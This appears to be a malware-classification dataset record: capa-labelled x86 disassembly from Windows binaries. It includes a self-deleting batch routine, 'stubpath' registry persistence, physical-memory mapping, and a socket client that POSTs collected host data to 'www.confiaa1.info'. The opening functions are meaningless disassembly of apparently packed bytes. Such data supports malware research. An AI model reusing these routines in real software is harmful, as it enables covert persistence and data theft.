joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6e90a2c9
Capabilities:
Encode data using xor

Disassembly:
or dword [ebx], esp
xor esp, ebx
or cl, dl
insb byte es:[edi], dx
jb 0x6e90a2f6
sar ch, 0x8e
sub byte [edx - 0xf], 0x6e
adc dword [ecx - 0x29fcdca7], esi
mov ecx, dword [eax - 0x21affa09]
cmp dword [esi*8 - 0x2dcce8cb], 0x8d658526
inc eax
add ebp, dword [edi + 0x28e8f609]
adc bh, byte [eax]
clc
lodsb al, byte [esi]
sub bl, byte [ecx]
rol byte [ebx + eax*8 - 0x58], cl
pop ecx
jmp 0x6e90a297
aas
pop es
wait
and byte [ecx + 0x37581281], bl
movsd dword es:[edi], dword [esi]
jnp 0x6e90a343
adc dword [edx], 0x7ba53758
pop edi
in al, 0x60
mov eax, dword [0x4aa9c5b1]
push eax
arpl word [ebx + 0x12], di
in al, dx
mov dword [0xea477fd], eax
sub eax, ebx
inc eax
or cl, byte [edx - 0x7763e308]
test byte [esi + 0x1aabba1a], al
fadd dword [eax + 0xa]
mov bh, al
sbb al, 0x9c
mov byte [esi + eax*4 + 0x1aabba1a], al
or ch, byte [ebx - 0x56]
add bh, cl
cwde
xor esp, ebp
in al, 0xf6
stosb byte es:[edi], al
xor al, 0x78
aam 0xae
clc
or eax, dword [edi + ebp]
salc
insb byte es:[edi], dx
or ebp, esi
mov byte [ebx + 0x4a8964c7], cl
mov dword [edi - 0x4f], ecx
cwde
fisubr dword [esi + 0x2a0e41ba]
or eax, 0x71428c8a
arpl word [edx - 0x3aab7729], ax
mov esp, dword [ecx + 3]
xlatb
xchg ebx, eax
and cl, dh
xchg esi, eax
aam 0x56
push 0x35893908
jns 0x6e90a2d8
or byte [ecx], bh
mov dword [0xf8c18f79], esi
fisub word [edi + eax*2 - 0x26fcd2fe]
add al, 0x3b
sar eax, 0xde
movsb byte es:[edi], byte [esi]
inc edi
add ch, byte [0x3b04d903]
pop esp
out 0xb2, eax
inc ecx
jo 0x6e90a2dd
lodsb al, byte [esi]
add dword [ebx - 0x77], eax
xchg esp, eax
inc ecx
push ecx
mov dword [0x9655b2ff], eax
xchg ecx, eax
mov word [edi], ds
rcl dword [ebp + 0x27]
pop es
xchg esp, eax
fucom st(7)
mov edx, dword [0x7a1c5a33]
scasd eax, dword es:[edi]
aas
lea ebx, [edi]
xchg ebp, eax
xchg ecx, eax
dec ebp
lodsd eax, dword [esi]
xchg esp, eax
ljmp 0x8974

Function at 0x6e90beb1
Capabilities:
Encode data using xor

Disassembly:
movsb byte es:[edi], byte [esi]
insb byte es:[edi], dx
xor dword [edx], esp
mov dword [0xd21def13], eax
or al, bh
or byte [esi - 0x74], 0xf
arpl word [esi + 0x92e42a3], si
pop esi
jle 0x6e90bea2
fucomi st(2)
sal ch, 1
dec byte [esi]
movsd dword es:[edi], dword [esi]
mov cs, word [ebx]
call 0x3db970e5
out dx, eax
adc ah, byte [esi]
ror dword [ebx - 0x2fdcabde], 1
fsubr st(1), st(0)
jbe 0x6e90bead
invalid
Function at 0x6edc0058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x6edc01a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x6edc007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x6edc006a
add dl, dl
jne 0x6edc0089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x6edc00dc
xor eax, eax
add dl, dl
jne 0x6edc0096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x6edc017d
add dl, dl
jne 0x6edc00a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6edc00b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6edc00bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6edc00c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x6edc00d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x6edc0075
mov eax, 1
add dl, dl
jne 0x6edc00ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x6edc00f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x6edc00e1
sub eax, ebx
mov ebx, 1
jne 0x6edc0128
mov ecx, 1
add dl, dl
jne 0x6edc010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6edc0119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x6edc0105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x6edc0075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x6edc013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x6edc014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x6edc0136
cmp eax, 0x7d00
jae 0x6edc016d
cmp eax, 0x500
jb 0x6edc0168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x6edc0075
cmp eax, 0x7f
ja 0x6edc0170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x6edc0075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x6edc019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x6edc0075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40220a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.00404818
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40eddc]
test eax, eax
je 0x40233d
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x40ed88]
test eax, eax
je 0x40233d
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40eddc]
lea eax, [ebp - 0x108]
push 0x40bd60
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.00404818
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40233d
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [0x40ed8c]
test eax, eax
je 0x40233d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [0x40ed84]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4023d3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40243d
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40243d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.00404740
cmp eax, 0x26
pop ecx
je 0x40243d
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.004047c0
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x402441
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402494
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x402494
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.00404740
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402498
xor eax, eax
jmp 0x4024a2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x4024a6
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push str.apple.exe
push eax
call fcn.00404fe0
and byte [ebp - 0x508], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 2
stosb byte es:[edi], al
call fcn.0040101d
push eax
lea eax, [ebp - 0x508]
push eax
push dword [0x40b330]
call fcn.00401074
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x20006
lea eax, [ebp - 0x508]
push 0
push eax
push connect
call dword [0x40ede4]
test eax, eax
pop edi
jne 0x402570
lea eax, [ebp - 0x108]
push eax
call fcn.00404740
pop ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402574
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [0x40ede8]
push 1
pop eax
leave
ret

Function at 0x40287a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push str._apple.exe
push eax
call fcn.00404fe0
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.004023d3
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
push 0x40ee10
call dword [0x40edf4]
test eax, eax
pop edi
je 0x402911
lea eax, [ebp - 0x208]
push eax
call fcn.004024a6
pop ecx
leave
ret
Function at 0x4030b3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5710
call fcn.004048a0
and byte [ebp - 0x108], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
and byte [ebp - 0x20c], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
and byte [ebp - 0x5710], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x11ff
xor eax, eax
lea edi, [ebp - 0x570f]
and byte [ebp - 0xf10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x2ff
xor eax, eax
lea edi, [ebp - 0xf0f]
mov ebx, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x20c]
push 5
push eax
call fcn.00402342
lea eax, [ebp - 0x108]
push eax
call fcn.00404740
add esp, 0xc
cmp byte [ebp + eax - 0x108], 0x5c
je 0x403172
lea eax, [ebp - 0x108]
push eax
call fcn.00404740
pop ecx
mov byte [ebp + eax - 0x107], 0x5c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00404fe0
lea eax, [ebp - 0x108]
push str..exe
push eax
call fcn.00404fe0
xor esi, esi
push ebx
lea eax, [ebp - 0x310]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.004047c0
mov edi, 0x4800
lea eax, [ebp - 0x5710]
push edi
push esi
push eax
call fcn.004047c0
mov eax, dword [0x40edb8]
add esp, 0x28
cmp dword [eax], esi
je 0x4032d4
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0x310]
push eax
mov eax, dword [0x40edb8]
push dword [esi + eax]
call fcn.00401074
lea eax, [ebp - 0x5710]
push edi
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.00401e50
mov esi, dword [ebp - 4]
add esp, 0x20
test eax, eax
je 0x40329d
cmp esi, 0xffffffff
jne 0x40321f
lea eax, [ebp - 0x5710]
push eax
call fcn.00402d56
jmp 0x403268
cmp esi, 2
je 0x40325c
cmp esi, 3
je 0x40325c
cmp esi, 1
je 0x40324e
test esi, esi
je 0x40324e
cmp esi, 0xfffffffe
je 0x403240
cmp esi, 0xfffffffd
jne 0x4032d4
lea eax, [ebp - 0x5710]
push eax
call fcn.00402b8f
jmp 0x403268
lea eax, [ebp - 0x5710]
push eax
call fcn.00402c21
jmp 0x403268
lea eax, [ebp - 0x5710]
push eax
call fcn.00402cc1
test eax, eax
pop ecx
je 0x40329d
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0xf10]
push eax
lea eax, [ebp - 0x5710]
push eax
call fcn.00401074
lea eax, [ebp - 0xf10]
push eax
call fcn.00402dff
add esp, 0x18
test eax, eax
jne 0x4032d4
push ebx
lea eax, [ebp - 0x310]
inc esi
push 0
push eax
mov dword [ebp - 4], esi
call fcn.004047c0
push edi
lea eax, [ebp - 0x5710]
push 0
push eax
call fcn.004047c0
mov eax, dword [0x40edb8]
add esp, 0x18
shl esi, 2
cmp dword [esi + eax], 0
jne 0x4031cc
call fcn.00402b27
mov edi, eax
lea eax, [ebp - 0xf10]
push 0x3a
push eax
call fcn.00405170
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x40331c
and byte [esi], 0
lea eax, [ebp - 0xf10]
push eax
call fcn.0040514b
cmp edi, eax
pop ecx
je 0x40331c
push eax
call fcn.00402ae3
lea eax, [ebp - 0x108]
inc esi
push eax
push esi
call fcn.00401f55
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40345b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Print debug messages
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x400
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.004047c0
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403535
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x5a0]
push str._d._d._d._d
push eax
call fcn.00404818
add esp, 0x18
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x4034e1
push str.socket_Error
jmp 0x403528
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.004047c0
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x5a0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x403533
push str.connect_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x403535
mov eax, esi
pop esi
leave
ret

Function at 0x403538
Capabilities:
Print debug messages
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x400
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.004047c0
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.00404740
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x403583
push str.send_is_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
leave
ret
push 0
lea eax, [ebp - 0x400]
push 0x3ff
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
xor eax, eax
leave
ret
Function at 0x403e87
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], 0xffff
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403fb0
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0xffff
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403fb0
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00403cf6
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403f8b
lea eax, [ebp - 4]
push eax
call fcn.00403d69
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403f8b
lea eax, [ebp - 4]
push eax
call fcn.00403ddc
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403fa9
mov eax, dword [0x40ff24]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40ef24]
push eax
call fcn.00404c90
add esp, 0xc
add dword [0x40ff24], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404350
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x590
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ws2_32.dll
call esi
push dword [0x40c0c0]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.iphlpapi.dll
mov dword [0x40ef20], eax
call esi
push dword [0x40c0c4]
push eax
call edi
push str.kernel32.dll
mov dword [0x40ef1c], eax
call esi
push dword [0x40c0c8]
push eax
call edi
mov dword [0x40ef14], eax
lea eax, [ebp - 0x190]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x404419
lea eax, [ebp - 0x590]
push 0x400
push eax
call dword [0x40ef20]
call fcn.00403bc9
call fcn.00403c71
call fcn.00403e87
mov edi, dword [ebp + 8]
xor esi, esi
push 0x1000
push esi
push edi
call fcn.004047c0
add esp, 0xc
cmp dword [0x40ff24], esi
jbe 0x404419
movzx eax, byte [esi + 0x40ef24]
push eax
push str._02x
push edi
call fcn.00404818
add esp, 0xc
inc esi
inc edi
inc edi
cmp esi, dword [0x40ff24]
jb 0x4043f8
pop edi
pop esi
leave
ret
Function at 0x40441d
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.004048a0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ws2_32.dll
call esi
push dword [0x40c0c0]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.iphlpapi.dll
mov dword [0x40ef20], eax
call esi
push dword [0x40c0c4]
push eax
call edi
push str.kernel32.dll
mov dword [0x40ef1c], eax
call esi
push dword [0x40c0c8]
push eax
call edi
mov dword [0x40ef14], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x404607
mov esi, 0x400
push ebx
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40ef20]
call fcn.00403bc9
call fcn.00403c71
call fcn.00403e87
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.004047c0
add esp, 0xc
xor ebx, ebx
cmp dword [0x40ff24], edi
jbe 0x4044fe
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40ef24]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00404818
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40ff24]
jb 0x4044d9
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.004047c0
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.004047c0
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.004047c0
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.0040426f
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.004047c0
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403fb5
lea eax, [ebp - 0x484]
push eax
call fcn.00404740
mov esi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.00404740
add esi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.00404740
add esp, 0x1c
lea ecx, [ebp - 0x44]
lea eax, [esi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro.asp_HTTP_1.1_r_nHost:www.confiaa1.info_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.00404818
add esp, 0x24
pop ebx
pop edi
pop esi
leave
ret
Function at 0x414430
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a5218
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x4ea008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
call fcn.00420740
mov edi, dword [sym.imp.USER32.dll_LoadIconW]
push 1
push 0x64
push 0x400000
call edi
mov esi, dword [sym.imp.2345MiniUI.dll_public:_struct_HICON______thiscall_RCMiniAtlWindow::SetIcon_struct_HICON_____int_]
lea ecx, [ebx - 0x1c]
push eax
call esi
push 0
push 0x65
push 0x400000
call edi
push eax
lea ecx, [ebx - 0x1c]
call esi
mov ecx, dword [ebx + 0xc0]
mov esi, dword [ebx - 0x1c]
test ecx, ecx
je 0x414500
cmp dword [ebx + 0xd8], 8
lea eax, [ebx + 0xc4]
jb 0x4144ab
mov eax, dword [eax]
sub esp, 0xc
push eax
push ecx
call fcn.0047f0c0
test al, al
je 0x414500
mov ecx, dword [ebx + 0xc0]
push 0
sub esp, 0xc
call fcn.0047f130
mov ecx, dword [ebx + 0xc0]
test al, al
jne 0x4144da
call fcn.0047f1a0
jmp 0x414500
mov eax, dword [ecx + 4]
test eax, eax
jne 0x4144f3
call fcn.0047f180
mov ecx, dword [ebx + 0xc0]
call fcn.0047f1a0
jmp 0x414500
mov dword [eax], esi
mov ecx, dword [ebx + 0xc0]
call fcn.0047f180
xor eax, eax
mov dword [ebp - 0x14], 0
push eax
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x24]
push 0x4c1adc
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
call fcn.004122a0
mov dword [ebp - 4], 0
lea ecx, [ebx + 0x84]
mov eax, dword [ebx - 0x1c]
mov dword [ebx + 0xbc], eax
lea eax, [ebp - 0x24]
cmp ecx, eax
je 0x41455e
cmp dword [ebp - 0x10], 8
push dword [ebp - 0x14]
cmovae eax, dword [ebp - 0x24]
push eax
call fcn.004122a0
push ecx
lea ecx, [ebx + 0x78]
call fcn.0041da00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.00412240
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret